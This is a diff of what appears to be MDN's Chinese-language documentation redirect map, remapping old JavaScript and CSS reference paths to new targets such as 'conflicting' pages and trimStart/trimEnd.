/zh-CN/docs/JS-ref/Array/shift /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/shift /zh-CN/docs/JS-ref/Array/slice /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/slice /zh-CN/docs/JS-ref/Array/some /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/some /zh-CN/docs/JS-ref/Array/toSource /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/toSource /zh-CN/docs/JS-ref/Array/unshift /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/unshift /zh-CN/docs/JS-ref/Boolean /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Boolean -/zh-CN/docs/JS-ref/Boolean/prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Boolean/prototype +/zh-CN/docs/JS-ref/Boolean/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Boolean /zh-CN/docs/JS-ref/Date /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Date /zh-CN/docs/JS-ref/Date/getDate /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Date/getDate /zh-CN/docs/JS-ref/Date/getDay /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Date/getDay @@ -776,7 +827,7 @@ /zh-CN/docs/JS-ref/Global_Objects/Object/preventExtensions/Global_Objects /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/isFrozen /zh-CN/docs/JS-ref/Global_Objects/Object/propertyIsEnumerable /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable /zh-CN/docs/JS-ref/Global_Objects/Object/proto /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/proto -/zh-CN/docs/JS-ref/Global_Objects/Object/prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype +/zh-CN/docs/JS-ref/Global_Objects/Object/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Object /zh-CN/docs/JS-ref/Global_Objects/Object/seal /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/seal /zh-CN/docs/JS-ref/Global_Objects/Object/setPrototypeOf /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/setPrototypeOf /zh-CN/docs/JS-ref/Global_Objects/Object/toSource /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/toSource @@ -787,7 +838,7 @@ /zh-CN/docs/JS-ref/Global_Objects/Proxy /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy /zh-CN/docs/JS-ref/Global_Objects/Set /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Set /zh-CN/docs/JS-ref/Global_Objects/WeakSet /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/WeakSet -/zh-CN/docs/JS-ref/Global_Objects/WeakSet/prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/WeakSet/prototype +/zh-CN/docs/JS-ref/Global_Objects/WeakSet/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/WeakSet /zh-CN/docs/JS-ref/Global_Objects/decodeURI /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/decodeURI /zh-CN/docs/JS-ref/Global_Objects/isFinite /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/isFinite /zh-CN/docs/JS-ref/Global_Objects/null /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/null @@ -795,7 +846,7 @@ /zh-CN/docs/JS-ref/Global_Objects/undefined /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/undefined /zh-CN/docs/JS-ref/Map /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Map /zh-CN/docs/JS-ref/Operators /zh-CN/docs/Web/JavaScript/Reference/Operators -/zh-CN/docs/JS-ref/Operators/Logical_Operators /zh-CN/docs/Web/JavaScript/Reference/Operators/Logical_Operators +/zh-CN/docs/JS-ref/Operators/Logical_Operators /zh-CN/docs/conflicting/Web/JavaScript/Reference/Operators_f71733c8e7001a29c3ec40d8522a4aca /zh-CN/docs/JS-ref/Operators/Operator_Precedence /zh-CN/docs/Web/JavaScript/Reference/Operators/Operator_Precedence /zh-CN/docs/JS-ref/Operators/delete /zh-CN/docs/Web/JavaScript/Reference/Operators/delete /zh-CN/docs/JS-ref/Operators/in /zh-CN/docs/Web/JavaScript/Reference/Operators/in @@ -806,7 +857,7 @@ /zh-CN/docs/JS-ref/RegExp /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp /zh-CN/docs/JS-ref/RegExp/exec /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp/exec /zh-CN/docs/JS-ref/RegExp/lastIndex /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp/lastIndex -/zh-CN/docs/JS-ref/RegExp/prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp/prototype +/zh-CN/docs/JS-ref/RegExp/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/RegExp /zh-CN/docs/JS-ref/RegExp/toSource /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp/toSource /zh-CN/docs/JS-ref/Spread_operator /en-US/docs/Web/JavaScript/Reference/Operators/Spread_syntax /zh-CN/docs/JS-ref/Statements /zh-CN/docs/Web/JavaScript/Reference/Statements @@ -821,8 +872,8 @@ /zh-CN/docs/JS-ref/Statements/let /zh-CN/docs/Web/JavaScript/Reference/Statements/let /zh-CN/docs/JS-ref/String /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String /zh-CN/docs/JS-ref/String/Trim /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/Trim -/zh-CN/docs/JS-ref/String/TrimLeft /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/TrimLeft -/zh-CN/docs/JS-ref/String/TrimRight /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/TrimRight +/zh-CN/docs/JS-ref/String/TrimLeft /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/trimStart +/zh-CN/docs/JS-ref/String/TrimRight /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/trimEnd /zh-CN/docs/JS-ref/String/concat /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/concat /zh-CN/docs/JS-ref/String/contains /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/includes /zh-CN/docs/JS-ref/String/endsWith /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/endsWith @@ -842,14 +893,14 @@ /zh-CN/docs/JSDBGAPI_参考 /zh-CN/docs/JSDBGAPI_Reference /zh-CN/docs/JavaScript /zh-CN/docs/Web/JavaScript /zh-CN/docs/JavaScript-840092-dup /zh-CN/docs/Web/JavaScript -/zh-CN/docs/JavaScript-840092-dup/Introduction_to_Object-Oriented_JavaScript /zh-CN/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript +/zh-CN/docs/JavaScript-840092-dup/Introduction_to_Object-Oriented_JavaScript /zh-CN/docs/conflicting/Learn/JavaScript/Objects /zh-CN/docs/JavaScript/A_re-introduction_to_JavaScript /zh-CN/docs/Web/JavaScript/A_re-introduction_to_JavaScript /zh-CN/docs/JavaScript/Data_structures /zh-CN/docs/Web/JavaScript/Data_structures /zh-CN/docs/JavaScript/ECMAScript_6_support_in_Mozilla /zh-CN/docs/Web/JavaScript/New_in_JavaScript/ECMAScript_6_support_in_Mozilla -/zh-CN/docs/JavaScript/Getting_Started /zh-CN/docs/Web/JavaScript/Getting_Started +/zh-CN/docs/JavaScript/Getting_Started /zh-CN/docs/conflicting/Learn/Getting_started_with_the_web/JavaScript_basics /zh-CN/docs/JavaScript/Guide /zh-CN/docs/Web/JavaScript/Guide /zh-CN/docs/JavaScript/Guide-redirect-1 /zh-CN/docs/Web/JavaScript/Guide -/zh-CN/docs/JavaScript/Guide/About /zh-CN/docs/Web/JavaScript/Guide/About +/zh-CN/docs/JavaScript/Guide/About /zh-CN/docs/conflicting/Web/JavaScript/Guide/Introduction /zh-CN/docs/JavaScript/Guide/Closures /zh-CN/docs/Web/JavaScript/Closures /zh-CN/docs/JavaScript/Guide/Details_of_the_Object_Model /zh-CN/docs/Web/JavaScript/Guide/Details_of_the_Object_Model /zh-CN/docs/JavaScript/Guide/Expressions_and_Operators /zh-CN/docs/Web/JavaScript/Guide/Expressions_and_Operators @@ -857,7 +908,7 @@ /zh-CN/docs/JavaScript/Guide/Inheritance_Revisited /zh-CN/docs/Web/JavaScript/Inheritance_and_the_prototype_chain /zh-CN/docs/JavaScript/Guide/Inheritance_and_the_prototype_chain /zh-CN/docs/Web/JavaScript/Inheritance_and_the_prototype_chain /zh-CN/docs/JavaScript/Guide/Iterators_and_Generators /zh-CN/docs/Web/JavaScript/Guide/Iterators_and_Generators -/zh-CN/docs/JavaScript/Guide/JavaScript_Overview /zh-CN/docs/Web/JavaScript/Guide/JavaScript_Overview +/zh-CN/docs/JavaScript/Guide/JavaScript_Overview /zh-CN/docs/conflicting/Web/JavaScript/Guide/Introduction_6f341ba6db4b060ccbd8dce4a0d5214b /zh-CN/docs/JavaScript/Guide/Predefined_Core_Objects /zh-CN/docs/Web/JavaScript/Guide /zh-CN/docs/JavaScript/Guide/Regular_Expressions /zh-CN/docs/Web/JavaScript/Guide/Regular_Expressions /zh-CN/docs/JavaScript/Guide/Sameness /zh-CN/docs/Web/JavaScript/Equality_comparisons_and_sameness @@ -866,7 +917,7 @@ /zh-CN/docs/JavaScript/Guide/Values,_variables,_and_literals /zh-CN/docs/Web/JavaScript/Guide/Grammar_and_types /zh-CN/docs/JavaScript/Guide/Working_with_Objects /zh-CN/docs/Web/JavaScript/Guide/Working_with_Objects /zh-CN/docs/JavaScript/Guide/闭包 /zh-CN/docs/Web/JavaScript/Closures -/zh-CN/docs/JavaScript/Introduction_to_Object-Oriented_JavaScript /zh-CN/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript +/zh-CN/docs/JavaScript/Introduction_to_Object-Oriented_JavaScript /zh-CN/docs/conflicting/Learn/JavaScript/Objects /zh-CN/docs/JavaScript/JavaScript_technologies_overview /zh-CN/docs/Web/JavaScript/JavaScript_technologies_overview /zh-CN/docs/JavaScript/JavaScript中的新特性 /zh-CN/docs/Web/JavaScript/New_in_JavaScript /zh-CN/docs/JavaScript/JavaScript中的新特性/1.7 /zh-CN/docs/Web/JavaScript/New_in_JavaScript/1.7 @@ -892,14 +943,14 @@ /zh-CN/docs/JavaScript/Reference/Array/length /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/length /zh-CN/docs/JavaScript/Reference/Array/map /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/map /zh-CN/docs/JavaScript/Reference/Array/pop /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/pop -/zh-CN/docs/JavaScript/Reference/Array/prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype +/zh-CN/docs/JavaScript/Reference/Array/prototype /zh-CN/docs/orphaned/Web/JavaScript/Reference/Global_Objects/Array/prototype /zh-CN/docs/JavaScript/Reference/Array/shift /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/shift /zh-CN/docs/JavaScript/Reference/Array/slice /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/slice /zh-CN/docs/JavaScript/Reference/Array/some /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/some /zh-CN/docs/JavaScript/Reference/Array/toSource /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/toSource /zh-CN/docs/JavaScript/Reference/Array/unshift /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/unshift /zh-CN/docs/JavaScript/Reference/Boolean /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Boolean -/zh-CN/docs/JavaScript/Reference/Boolean/prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Boolean/prototype +/zh-CN/docs/JavaScript/Reference/Boolean/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Boolean /zh-CN/docs/JavaScript/Reference/Date /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Date /zh-CN/docs/JavaScript/Reference/Date/getDate /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Date/getDate /zh-CN/docs/JavaScript/Reference/Date/getDay /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Date/getDay @@ -939,14 +990,14 @@ /zh-CN/docs/JavaScript/Reference/Global_Objects/Array/length /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/length /zh-CN/docs/JavaScript/Reference/Global_Objects/Array/map /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/map /zh-CN/docs/JavaScript/Reference/Global_Objects/Array/pop /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/pop -/zh-CN/docs/JavaScript/Reference/Global_Objects/Array/prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/prototype +/zh-CN/docs/JavaScript/Reference/Global_Objects/Array/prototype /zh-CN/docs/orphaned/Web/JavaScript/Reference/Global_Objects/Array/prototype /zh-CN/docs/JavaScript/Reference/Global_Objects/Array/shift /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/shift /zh-CN/docs/JavaScript/Reference/Global_Objects/Array/slice /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/slice /zh-CN/docs/JavaScript/Reference/Global_Objects/Array/some /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/some /zh-CN/docs/JavaScript/Reference/Global_Objects/Array/toSource /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/toSource /zh-CN/docs/JavaScript/Reference/Global_Objects/Array/unshift /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/unshift /zh-CN/docs/JavaScript/Reference/Global_Objects/Boolean /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Boolean -/zh-CN/docs/JavaScript/Reference/Global_Objects/Boolean/prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Boolean/prototype +/zh-CN/docs/JavaScript/Reference/Global_Objects/Boolean/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Boolean /zh-CN/docs/JavaScript/Reference/Global_Objects/Date /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Date /zh-CN/docs/JavaScript/Reference/Global_Objects/Date/getDate /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Date/getDate /zh-CN/docs/JavaScript/Reference/Global_Objects/Date/getDay /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Date/getDay @@ -1036,26 +1087,26 @@ /zh-CN/docs/JavaScript/Reference/Global_Objects/Object/preventExtensions/Global_Objects /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/isFrozen /zh-CN/docs/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/propertyIsEnumerable /zh-CN/docs/JavaScript/Reference/Global_Objects/Object/proto /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/proto -/zh-CN/docs/JavaScript/Reference/Global_Objects/Object/prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype +/zh-CN/docs/JavaScript/Reference/Global_Objects/Object/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Object /zh-CN/docs/JavaScript/Reference/Global_Objects/Object/seal /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/seal /zh-CN/docs/JavaScript/Reference/Global_Objects/Object/setPrototypeOf /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/setPrototypeOf /zh-CN/docs/JavaScript/Reference/Global_Objects/Object/toSource /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/toSource /zh-CN/docs/JavaScript/Reference/Global_Objects/Object/toString /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/toString /zh-CN/docs/JavaScript/Reference/Global_Objects/Object/valueOf /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/valueOf /zh-CN/docs/JavaScript/Reference/Global_Objects/Object/watch /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/watch -/zh-CN/docs/JavaScript/Reference/Global_Objects/Object/原型 /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/prototype +/zh-CN/docs/JavaScript/Reference/Global_Objects/Object/原型 /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/Object /zh-CN/docs/JavaScript/Reference/Global_Objects/ParallelArray /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/ParallelArray /zh-CN/docs/JavaScript/Reference/Global_Objects/Proxy /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy /zh-CN/docs/JavaScript/Reference/Global_Objects/RegExp /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp /zh-CN/docs/JavaScript/Reference/Global_Objects/RegExp/exec /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp/exec /zh-CN/docs/JavaScript/Reference/Global_Objects/RegExp/lastIndex /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp/lastIndex -/zh-CN/docs/JavaScript/Reference/Global_Objects/RegExp/prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp/prototype +/zh-CN/docs/JavaScript/Reference/Global_Objects/RegExp/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/RegExp /zh-CN/docs/JavaScript/Reference/Global_Objects/RegExp/toSource /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp/toSource /zh-CN/docs/JavaScript/Reference/Global_Objects/Set /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Set /zh-CN/docs/JavaScript/Reference/Global_Objects/String /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String /zh-CN/docs/JavaScript/Reference/Global_Objects/String/Trim /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/Trim -/zh-CN/docs/JavaScript/Reference/Global_Objects/String/TrimLeft /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/TrimLeft -/zh-CN/docs/JavaScript/Reference/Global_Objects/String/TrimRight /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/TrimRight +/zh-CN/docs/JavaScript/Reference/Global_Objects/String/TrimLeft /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/trimStart +/zh-CN/docs/JavaScript/Reference/Global_Objects/String/TrimRight /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/trimEnd /zh-CN/docs/JavaScript/Reference/Global_Objects/String/concat /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/concat /zh-CN/docs/JavaScript/Reference/Global_Objects/String/contains /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/includes /zh-CN/docs/JavaScript/Reference/Global_Objects/String/endsWith /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/endsWith @@ -1070,7 +1121,7 @@ /zh-CN/docs/JavaScript/Reference/Global_Objects/String/toUpperCase /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/toUpperCase /zh-CN/docs/JavaScript/Reference/Global_Objects/WeakMap /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/WeakMap /zh-CN/docs/JavaScript/Reference/Global_Objects/WeakSet /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/WeakSet -/zh-CN/docs/JavaScript/Reference/Global_Objects/WeakSet/prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/WeakSet/prototype +/zh-CN/docs/JavaScript/Reference/Global_Objects/WeakSet/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/WeakSet /zh-CN/docs/JavaScript/Reference/Global_Objects/decodeURI /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/decodeURI /zh-CN/docs/JavaScript/Reference/Global_Objects/isFinite /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/isFinite /zh-CN/docs/JavaScript/Reference/Global_Objects/null /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/null @@ -1078,7 +1129,7 @@ /zh-CN/docs/JavaScript/Reference/Global_Objects/undefined /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/undefined /zh-CN/docs/JavaScript/Reference/Map /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Map /zh-CN/docs/JavaScript/Reference/Operators /zh-CN/docs/Web/JavaScript/Reference/Operators -/zh-CN/docs/JavaScript/Reference/Operators/Logical_Operators /zh-CN/docs/Web/JavaScript/Reference/Operators/Logical_Operators +/zh-CN/docs/JavaScript/Reference/Operators/Logical_Operators /zh-CN/docs/conflicting/Web/JavaScript/Reference/Operators_f71733c8e7001a29c3ec40d8522a4aca /zh-CN/docs/JavaScript/Reference/Operators/Operator_Precedence /zh-CN/docs/Web/JavaScript/Reference/Operators/Operator_Precedence /zh-CN/docs/JavaScript/Reference/Operators/delete /zh-CN/docs/Web/JavaScript/Reference/Operators/delete /zh-CN/docs/JavaScript/Reference/Operators/in /zh-CN/docs/Web/JavaScript/Reference/Operators/in @@ -1089,7 +1140,7 @@ /zh-CN/docs/JavaScript/Reference/RegExp /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp /zh-CN/docs/JavaScript/Reference/RegExp/exec /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp/exec /zh-CN/docs/JavaScript/Reference/RegExp/lastIndex /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp/lastIndex -/zh-CN/docs/JavaScript/Reference/RegExp/prototype /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp/prototype +/zh-CN/docs/JavaScript/Reference/RegExp/prototype /zh-CN/docs/conflicting/Web/JavaScript/Reference/Global_Objects/RegExp /zh-CN/docs/JavaScript/Reference/RegExp/toSource /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/RegExp/toSource /zh-CN/docs/JavaScript/Reference/Spread_operator /en-US/docs/Web/JavaScript/Reference/Operators/Spread_syntax /zh-CN/docs/JavaScript/Reference/Statements /zh-CN/docs/Web/JavaScript/Reference/Statements @@ -1104,8 +1155,8 @@ /zh-CN/docs/JavaScript/Reference/Statements/let /zh-CN/docs/Web/JavaScript/Reference/Statements/let /zh-CN/docs/JavaScript/Reference/String /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String /zh-CN/docs/JavaScript/Reference/String/Trim /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/Trim -/zh-CN/docs/JavaScript/Reference/String/TrimLeft /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/TrimLeft -/zh-CN/docs/JavaScript/Reference/String/TrimRight /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/TrimRight +/zh-CN/docs/JavaScript/Reference/String/TrimLeft /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/trimStart +/zh-CN/docs/JavaScript/Reference/String/TrimRight /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/trimEnd /zh-CN/docs/JavaScript/Reference/String/concat /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/concat /zh-CN/docs/JavaScript/Reference/String/contains /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/includes /zh-CN/docs/JavaScript/Reference/String/endsWith /zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/endsWith @@ -1139,7 +1190,12 @@ /zh-CN/docs/JavaScript的同源策略 /zh-CN/docs/Web/Security/Same-origin_policy /zh-CN/docs/JavaScript语言资源 /zh-CN/docs/Web/JavaScript/Language_Resources /zh-CN/docs/Learn/CSS/Building_blocks/Advanced_box_effects /zh-CN/docs/Learn/CSS/Building_blocks/Advanced_styling_effects +/zh-CN/docs/Learn/CSS/Building_blocks/处理_不同_方向的_文本 /zh-CN/docs/Learn/CSS/Building_blocks/Handling_different_text_directions +/zh-CN/docs/Learn/CSS/CSS_layout/传统的布局方法 /zh-CN/docs/Learn/CSS/CSS_layout/Legacy_Layout_Methods +/zh-CN/docs/Learn/CSS/CSS_layout/定位 /zh-CN/docs/Learn/CSS/CSS_layout/Positioning /zh-CN/docs/Learn/CSS/CSS_layout/网格 /zh-CN/docs/Learn/CSS/CSS_layout/Grids +/zh-CN/docs/Learn/CSS/First_steps/CSS如何运行 /zh-CN/docs/Learn/CSS/First_steps/How_CSS_works +/zh-CN/docs/Learn/CSS/First_steps/开始 /zh-CN/docs/Learn/CSS/First_steps/Getting_started /zh-CN/docs/Learn/CSS/Introduction_to_CSS /en-US/docs/Learn/CSS/First_steps /zh-CN/docs/Learn/CSS/Introduction_to_CSS/Attribute_selectors /en-US/docs/Learn/CSS/Building_blocks/Selectors/Attribute_selectors /zh-CN/docs/Learn/CSS/Introduction_to_CSS/Box_model /en-US/docs/Learn/CSS/Building_blocks/The_box_model @@ -1147,6 +1203,7 @@ /zh-CN/docs/Learn/CSS/Introduction_to_CSS/Cascade_and_inheritance /en-US/docs/Learn/CSS/Building_blocks/Cascade_and_inheritance /zh-CN/docs/Learn/CSS/Introduction_to_CSS/Combinators_and_multiple_selectors /en-US/docs/Learn/CSS/Building_blocks/Selectors/Combinators /zh-CN/docs/Learn/CSS/Introduction_to_CSS/Debugging_CSS /en-US/docs/Learn/CSS/Building_blocks/Debugging_CSS +/zh-CN/docs/Learn/CSS/Introduction_to_CSS/Fundamental_CSS_comprehension /zh-CN/docs/Learn/CSS/Building_blocks/Fundamental_CSS_comprehension /zh-CN/docs/Learn/CSS/Introduction_to_CSS/How_CSS_works /en-US/docs/Learn/CSS/First_steps/How_CSS_works /zh-CN/docs/Learn/CSS/Introduction_to_CSS/Pseudo-classes_and_pseudo-elements /en-US/docs/Learn/CSS/Building_blocks/Selectors/Pseudo-classes_and_pseudo-elements /zh-CN/docs/Learn/CSS/Introduction_to_CSS/Selectors /en-US/docs/Learn/CSS/Building_blocks/Selectors @@ -1155,43 +1212,102 @@ /zh-CN/docs/Learn/CSS/Introduction_to_CSS/Values_and_units /en-US/docs/Learn/CSS/Building_blocks/Values_and_units /zh-CN/docs/Learn/CSS/Introduction_to_CSS/语法 /en-US/docs/Learn/CSS/First_steps/How_CSS_is_structured /zh-CN/docs/Learn/CSS/Styling_boxes /en-US/docs/Learn/CSS/Building_blocks +/zh-CN/docs/Learn/CSS/Styling_boxes/A_cool_looking_box /zh-CN/docs/Learn/CSS/Building_blocks/A_cool_looking_box /zh-CN/docs/Learn/CSS/Styling_boxes/Advanced_box_effects /zh-CN/docs/Learn/CSS/Building_blocks/Advanced_styling_effects /zh-CN/docs/Learn/CSS/Styling_boxes/Borders /en-US/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders /zh-CN/docs/Learn/CSS/Styling_boxes/Box_model_recap /en-US/docs/Learn/CSS/Building_blocks/The_box_model +/zh-CN/docs/Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper /zh-CN/docs/Learn/CSS/Building_blocks/Creating_fancy_letterheaded_paper /zh-CN/docs/Learn/CSS/Styling_boxes/Styling_tables /zh-CN/docs/Learn/CSS/Building_blocks/Styling_tables -/zh-CN/docs/Learn/CSS/Styling_boxes/创建精美的信纸 /zh-CN/docs/Learn/CSS/Styling_boxes/Creating_fancy_letterheaded_paper +/zh-CN/docs/Learn/CSS/Styling_boxes/创建精美的信纸 /zh-CN/docs/Learn/CSS/Building_blocks/Creating_fancy_letterheaded_paper /zh-CN/docs/Learn/CSS/Styling_boxes/背景 /en-US/docs/Learn/CSS/Building_blocks/Backgrounds_and_borders +/zh-CN/docs/Learn/CSS/为文本添加样式 /zh-CN/docs/Learn/CSS/Styling_text +/zh-CN/docs/Learn/CSS/为文本添加样式/Fundamentals /zh-CN/docs/Learn/CSS/Styling_text/Fundamentals +/zh-CN/docs/Learn/CSS/为文本添加样式/Styling_links /zh-CN/docs/Learn/CSS/Styling_text/Styling_links +/zh-CN/docs/Learn/CSS/为文本添加样式/Styling_lists /zh-CN/docs/Learn/CSS/Styling_text/Styling_lists +/zh-CN/docs/Learn/CSS/为文本添加样式/Typesetting_a_homepage /zh-CN/docs/Learn/CSS/Styling_text/Typesetting_a_homepage +/zh-CN/docs/Learn/CSS/为文本添加样式/Web_字体 /zh-CN/docs/Learn/CSS/Styling_text/Web_fonts +/zh-CN/docs/Learn/Common_questions/实用文本编辑器 /zh-CN/docs/Learn/Common_questions/Available_text_editors /zh-CN/docs/Learn/Common_questions/网页,网站,网页服务器和搜索引擎的区别是什么? /zh-CN/docs/Learn/Common_questions/Pages_sites_servers_and_search_engines +/zh-CN/docs/Learn/Discover_browser_developer_tools /zh-CN/docs/Learn/Common_questions/What_are_browser_developer_tools /zh-CN/docs/Learn/Getting_started_with_the_web/CSS_基础 /zh-CN/docs/Learn/Getting_started_with_the_web/CSS_basics /zh-CN/docs/Learn/Getting_started_with_the_web/你的网页将呈现什么样子? /zh-CN/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like /zh-CN/docs/Learn/Getting_started_with_the_web/网络是如何工作的 /zh-CN/docs/Learn/Getting_started_with_the_web/How_the_Web_works -/zh-CN/docs/Learn/HTML/Forms/My_first_HTML_form /zh-CN/docs/Learn/HTML/Forms/Your_first_HTML_form +/zh-CN/docs/Learn/HTML/Forms /zh-CN/docs/Learn/Forms +/zh-CN/docs/Learn/HTML/Forms/Advanced_styling_for_HTML_forms /zh-CN/docs/Learn/Forms/Advanced_form_styling +/zh-CN/docs/Learn/HTML/Forms/Data_form_validation /zh-CN/docs/Learn/Forms/Form_validation +/zh-CN/docs/Learn/HTML/Forms/HTML_forms_in_legacy_browsers /zh-CN/docs/Learn/Forms/HTML_forms_in_legacy_browsers +/zh-CN/docs/Learn/HTML/Forms/How_to_build_custom_form_widgets 